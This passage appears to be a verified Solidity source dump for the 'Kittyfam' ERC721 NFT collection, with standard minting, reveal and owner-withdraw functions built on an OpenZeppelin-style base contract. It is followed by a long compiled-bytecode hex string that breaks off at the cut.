symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: kittyfam.sol //Meow meow meow! //* Here come the Kittyfam! // /** ██╗░░██╗██╗████████╗████████╗██╗░░░██╗███████╗░█████╗░███╗░░░███╗ ██║░██╔╝██║╚══██╔══╝╚══██╔══╝╚██╗░██╔╝██╔════╝██╔══██╗████╗░████║ █████═╝░██║░░░██║░░░░░░██║░░░░╚████╔╝░█████╗░░███████║██╔████╔██║ ██╔═██╗░██║░░░██║░░░░░░██║░░░░░╚██╔╝░░██╔══╝░░██╔══██║██║╚██╔╝██║ ██║░╚██╗██║░░░██║░░░░░░██║░░░░░░██║░░░██║░░░░░██║░░██║██║░╚═╝░██║ ╚═╝░░╚═╝╚═╝░░░╚═╝░░░░░░╚═╝░░░░░░╚═╝░░░╚═╝░░░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝ */ pragma solidity >=0.7.0 <0.9.0; contract Kittyfam is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost = 0.019 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmountPerTx = 20; bool public paused = false; bool public revealed = false; constructor() ERC721("Kittyfam", "KFAM") { setHiddenMetadataUri("ipfs://QmfHTGYb1jHCco6oRwLTJLwAseyFnD9PyrRcCqntYe3eRJ/hidden.json"); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) { require(!paused, "The contract is paused!"); require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function withdraw() public onlyOwner { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }
0x60806040526004361061020f5760003560e01c80636352211e11610118578063a45ba8e7116100a0578063d5abeb011161006f578063d5abeb0114610768578063e0a8085314610793578063e985e9c5146107bc578063efbd73f4146107f9578063f2fde38b146108225761020f565b8063a45ba8e7146106ae578063b071401b146106d9578063b88d4fde14610702578063c87b56dd1461072b5761020f565b80638da5cb5b116100e75780638da5cb5b146105e857806394354fd01461061357806395d89b411461063e578063a0712d6814610669578063a22cb465146106855761020f565b80636352211e1461052e57806370a082311461056b578063715018a6146105a85780637ec4a659146105bf5761020f565b80633ccfd60b1161019b5780634fdd43cb1161016a5780634fdd43cb1461045957806351830227146104825780635503a0e8146104ad5780635c975abb146104d857806362b99ad4146105035761020f565b80633ccfd60b146103b357806342842e0e146103ca578063438b6300146103f357806344a0d68a146104305761020f565b806313faede6116101e257806313faede6146102e257806316ba10e01461030d57806316c38b3c1461033657806318160ddd1461035f57806323b872dd1461038a5761020f565b806301ffc9a71461021457806306fdde0314610251578063081812fc1461027c578063095ea7b3146102b9575b600080fd5b34801561022057600080fd5b5061023b60048036038101906102369190612df9565b61084b565b604051610248919061348b565b60405180910390f35b34801561025d57600080fd5b5061026661092d565b60405161027391906134a6565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612e9c565b6109bf565b6040516102b09190613402565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190612d8c565b610a44565b005b3480156102ee57600080fd5b506102f7610b5c565b6040516103049190613748565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612e53565b610b62565b005b34801561034257600080fd5b5061035d60048036038101906103589190612dcc565b610bf8565b005b34801561036b57600080fd5b50610374610c91565b6040516103819190613748565b60405180910390f35b34801561039657600080fd5b506103b160048036038101906103ac9190612c76565b610ca2565b005b3480156103bf57600080fd5b506103c8610d02565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612c76565b610dfe565b005b3480156103ff57600080fd5b5061041a60048036038101906104159190612c09565b610e1e565b6040516104279190613469565b60405180910390f35b34801561043c57600080fd5b5061045760048036038101906104529190612e9c565b610f29565b005b34801561046557600080fd5b50610480600480360381019061047b9190612e53565b610faf565b005b34801561048e57600080fd5b50610497611045565b6040516104a4919061348b565b60405180910390f35b3480156104b957600080fd5b506104c2611058565b6040516104cf91906134a6565b60405180910390f35b3480156104e457600080fd5b506104ed6110e6565b6040516104fa919061348b565b60405180910390f35b34801561050f57600080fd5b506105186110f9565b60405161052591906134a6565b60405180910390f35b34801561053a57600080fd5b5061055560048036038101906105509190612e9c565b611187565b6040516105629190613402565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d9190612c09565b611239565b60405161059f9190613748565b60405180910390f35b3480156105b457600080fd5b506105bd6112f1565b005b3480156105cb57600080fd5b506105e660048036038101906105e19190612e53565b611379565b005b3480156105f457600080fd5b506105fd61140f565b60405161060a9190613402565b60405180910390f35b34801561061f57600080fd5b50610628611439565b6040516106359190613748565b60405180910390f35b34801561064a57600080fd5b5061065361143f565b60405161066091906134a6565b60405180910390f35b610683600480360381019061067e9190612e9c565b6114d1565b005b34801561069157600080fd5b506106ac60048036038101906106a79190612d4c565b61162a565b005b3480156106ba57600080fd5b506106c3611640565b6040516106d091906134a6565b60405180910390f35b3480156106e557600080fd5b5061070060048036038101906106fb9190612e9c565b6116ce565b005b34801561070e57600080fd5b5061072960048036038101906107249190612cc9565b611754565b005b34801561073757600080fd5b50610752600480360381019061074d9190612e9c565b6117b6565b60405161075f91906134a6565b60405180910390f35b34801561077457600080fd5b5061077d61190f565b60405161078a9190613748565b60405180910390f35b34801561079f57600080fd5b506107ba60048036038101906107b59190612dcc565b611915565b005b3480156107c857600080fd5b506107e360048036038101906107de9190612c36565b6119ae565b6040516107f0919061348b565b60405180910390f35b34801561080557600080fd5b50610820600480360381019061081b9190612ec9565b611a42565b005b34801561082e57600080fd5b5061084960048036038101906108449190612c09565b611b78565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061091657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610926575061092582611c70565b5b9050919050565b60606000805461093c90613a51565b80601f016020809104026020016040519081016040528092919081815260200182805461096890613a51565b80156109b55780601f1061098a576101008083540402835291602001916109b5565b820191906000526020600020905b81548152906001019060200180831161099857829003601f168201915b5050505050905090565b60006109ca82611cda565b610a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0090613628565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a4f82611187565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab7906136c8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610adf611d46565b73ffffffffffffffffffffffffffffffffffffffff161480610b0e5750610b0d81610b08611d46565b6119ae565b5b610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b44906135a8565b60405180910390fd5b610b578383611d4e565b505050565b600b5481565b610b6a611d46565b73ffffffffffffffffffffffffffffffffffffffff16610b8861140f565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590613648565b60405180910390fd5b8060099080519060200190610bf4929190612a1d565b5050565b610c00611d46565b73ffffffffffffffffffffffffffffffffffffffff16610c1e61140f565b73ffffffffffffffffffffffffffffffffffffffff1614610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90613648565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6000610c9d6007611e07565b905090565b610cb3610cad611d46565b82611e15565b610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce990613708565b60405180910390fd5b610cfd838383611ef3565b505050565b610d0a611d46565b73ffffffffffffffffffffffffffffffffffffffff16610d2861140f565b73ffffffffffffffffffffffffffffffffffffffff1614610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7590613648565b60405180910390fd5b6000610d8861140f565b73ffffffffffffffffffffffffffffffffffffffff1647604051610dab906133ed565b60006040518083038185875af1925050503d8060008114610de8576040519150601f19603f3d011682016040523d82523d6000602084013e610ded565b606091505b5050905080610dfb57600080fd5b50565b610e1983838360405180602001604052806000815250611754565b505050565b60606000610e2b83611239565b905060008167ffffffffffffffff811115610e4957610e48613bea565b5b604051908082528060200260200182016040528015610e775781602001602082028036833780820191505090505b50905060006001905060005b8381108015610e945750600c548211155b15610f1d576000610ea483611187565b90508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f095782848381518110610eee57610eed613bbb565b5b6020026020010181815250508180610f0590613ab4565b9250505b8280610f1490613ab4565b93505050610e83565b82945050505050919050565b610f31611d46565b73ffffffffffffffffffffffffffffffffffffffff16610f4f61140f565b73ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9c90613648565b60405180910390fd5b80600b8190555050565b610fb7611d46565b73ffffffffffffffffffffffffffffffffffffffff16610fd561140f565b73ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102290613648565b60405180910390fd5b80600a9080519060200190611041929190612a1d565b5050565b600e60019054906101000a900460ff1681565b6009805461106590613a51565b80601f016020809104026020016040519081016040528092919081815260200182805461109190613a51565b80156110de5780601f106110b3576101008083540402835291602001916110de565b820191906000526020600020905b8154815290600101906020018083116110c157829003601f168201915b505050505081565b600e60009054906101000a900460ff1681565b6008805461110690613a51565b80601f016020809104026020016040519081016040528092919081815260200182805461113290613a51565b801561117f5780601f106111545761010080835404028352916020019161117f565b820191906000526020600020905b81548152906001019060200180831161116257829003601f168201915b505050505081565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611230576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611227906135e8565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a1906135c8565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112f9611d46565b73ffffffffffffffffffffffffffffffffffffffff1661131761140f565b73ffffffffffffffffffffffffffffffffffffffff161461136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490613648565b60405180910390fd5b611377600061214f565b565b611381611d46565b73ffffffffffffffffffffffffffffffffffffffff1661139f61140f565b73ffffffffffffffffffffffffffffffffffffffff16146113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90613648565b60405180910390fd5b806008908051906020019061140b929190612a1d565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606001805461144e90613a51565b80601f016020809104026020016040519081016040528092919081815260200182805461147a90613a51565b80156114c75780601f1061149c576101008083540402835291602001916114c7565b820191906000526020600020905b8154815290600101906020018083116114aa57829003601f168201915b5050505050905090565b806000811180156114e45750600d548111155b611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a90613528565b60405180910390fd5b600c54816115316007611e07565b61153b9190613886565b111561157c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611573906136e8565b60405180910390fd5b600e60009054906101000a900460ff16156115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390613668565b60405180910390fd5b81600b546115da919061390d565b34101561161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161390613728565b60405180910390fd5b6116263383612215565b5050565b61163c611635611d46565b8383612255565b5050565b600a805461164d90613a51565b80601f016020809104026020016040519081016040528092919081815260200182805461167990613a51565b80156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b505050505081565b6116d6611d46565b73ffffffffffffffffffffffffffffffffffffffff166116f461140f565b73ffffffffffffffffffffffffffffffffffffffff161461174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174190613648565b60405180910390fd5b80600d8190555050565b61176561175f611d46565b83611e15565b6117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b90613708565b60405180910390fd5b6117b0848484846123c2565b50505050565b60606117c182611cda565b611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7906136a8565b60405180910390fd5b60001515600e60019054906101000a900460ff16151514156118ae57600a805461182990613a51565b80601f016020809104026020016040519081016040528092919081815260200182805461185590613a51565b80156118a25780601f10611877576101008083540402835291602001916118a2565b820191906000526020600020905b81548152906001019060200180831161188557829003601f168201915b5050505050905061190a565b60006118b861241e565b905060008151116118d85760405180602001604052806000815250611906565b806118e2846124b0565b60096040516020016118f6939291906133bc565b6040516020818303038152906040525b9150505b919050565b600c5481565b61191d611d46565b73ffffffffffffffffffffffffffffffffffffffff1661193b61140f565b73ffffffffffffffffffffffffffffffffffffffff1614611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890613648565b60405180910390fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b81600081118015611a555750600d548111155b611a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8b90613528565b60405180910390fd5b600c5481611aa26007611e07565b611aac9190613886565b1115611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae4906136e8565b60405180910390fd5b611af5611d46565b73ffffffffffffffffffffffffffffffffffffffff16611b1361140f565b73ffffffffffffffffffffffffffffffffffffffff1614611b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6090613648565b60405180910390fd5b611b738284612215565b505050565b611b80611d46565b73ffffffffffffffffffffffffffffffffffffffff16611b9e61140f565b73ffffffffffffffffffffffffffffffffffffffff1614611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5b906134e8565b60405180910390fd5b611c6d8161214f565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611dc183611187565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081600001549050919050565b6000611e2082611cda565b611e5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5690613588565b60405180910390fd5b6000611e6a83611187565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611ed957508373ffffffffffffffffffffffffffffffffffffffff16611ec1846109bf565b73ffffffffffffffffffffffffffffffffffffffff16145b80611eea5750611ee981856119ae565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f1382611187565b73ffffffffffffffffffffffffffffffffffffffff1614611f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6090613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd090613548565b60405180910390fd5b611fe4838383612611565b611fef600082611d4e565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461203f9190613967565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120969190613886565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60005b818110156122505761222a6007612616565b61223d836122386007611e07565b61262c565b808061224890613ab4565b915050612218565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bb90613568565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516123b5919061348b565b60405180910390a3505050565b6123cd848484611ef3565b6123d98484848461264a565b612418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240f906134c8565b60405180910390fd5b50505050565b60606008805461242d90613a51565b80601f016020809104026020016040519081016040528092919081815260200182805461245990613a51565b80156124a65780601f1061247b576101008083540402835291602001916124a6565b820191906000526020600020905b81548152906001019060200180831161248957829003601f168201915b5050505050905090565b606060008214156124f8576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061260c565b600082905060005b6000821461252a57808061251390613ab4565b915050600a8261252391906138dc565b9150612500565b60008167ffffffffffffffff81111561254657612545613bea565b5b6040519080825280601f01601f1916602001820160405280156125785781602001600182028036833780820191505090505b5090505b60008514612605576001826125919190613967565b9150600a856125a09190613afd565b60306125ac9190613886565b60f81b8183815181106125c2576125c1613bbb565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856125fe91906138dc565b945061257c565b8093505050505b919050565b505050565b6001816000016000828254019250508190555050565b6126468282604051806020016040528060008152506127e1565b5050565b600061266b8473ffffffffffffffffffffffffffffffffffffffff1661283c565b156127d4578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612694611d46565b8786866040518563ffffffff1660e01b81526004016126b6949392919061341d565b602060405180830381600087803b1580156126d057600080fd5b505af192505050801561270157506040513d601f19601f820116820180604052508101906126fe9190612e26565b60015b612784573d8060008114612731576040519150601f19603f3d011682016040523d82523d6000602084013e612736565b606091505b5060008151141561277c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612773906134c8565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506127d9565b60